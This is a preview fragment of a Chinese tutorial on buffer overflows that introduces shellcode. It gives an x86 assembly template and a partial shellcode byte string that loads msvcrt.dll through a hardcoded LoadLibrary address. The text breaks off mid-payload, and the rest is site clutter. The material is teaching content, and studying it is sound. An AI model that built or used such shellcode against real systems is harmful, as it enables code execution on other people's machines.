缓冲区溢出第3课:Shellcode初步与生成.pdfVIP

  • 1
  • 0
  • 约2.03千字
  • 约 2页
  • 2026-05-20 发布于北京
  • 举报

缓冲区溢出第3课:Shellcode初步与生成.pdf

缓冲区溢出第3课—shellcode初步

什么是shellcode?一段可以调出一个shell

的机器码形成的字符串。

如何获取shell的机器码

ASM的嵌入编程一个

CMD框的shell

通用的格式:Pushe

bpMovebp,espXor

eaxeaxPusheax

Movbyteptr[ebp‑xh],

xxLeaeax,[ebp‑xh]

PusheaxMov

eax,0x函数地址Call

eax

Shellcode的生成

shellcode

\x55\x8b\xec\x33\xc0\x50\x50\x50\xc6\x45\xf4\x6d

\xc6\x45\xf5\x73\xc6\x45\xf6\x76\xc6\x45\xf7\x63

\xc6\x45\xf8\x72\xc6\x45\xf9\x74\xc6\x45\xfa\x2e

\xc6\x45\xfb\x64\xc6\x45\xfc\x6c\xc6\x45\xfd\x6c

\x8d\x45\xf4\x50\xb8\x77\x1d\x80\x7c//

LoadLibrary的地址\xff\xd0

\x55\x8b\xec\x33\xff\x57\x57\x57\xc6\x45\xf4\x73

\xc6\x

文档评论(0)

1亿VIP精品文档

相关文档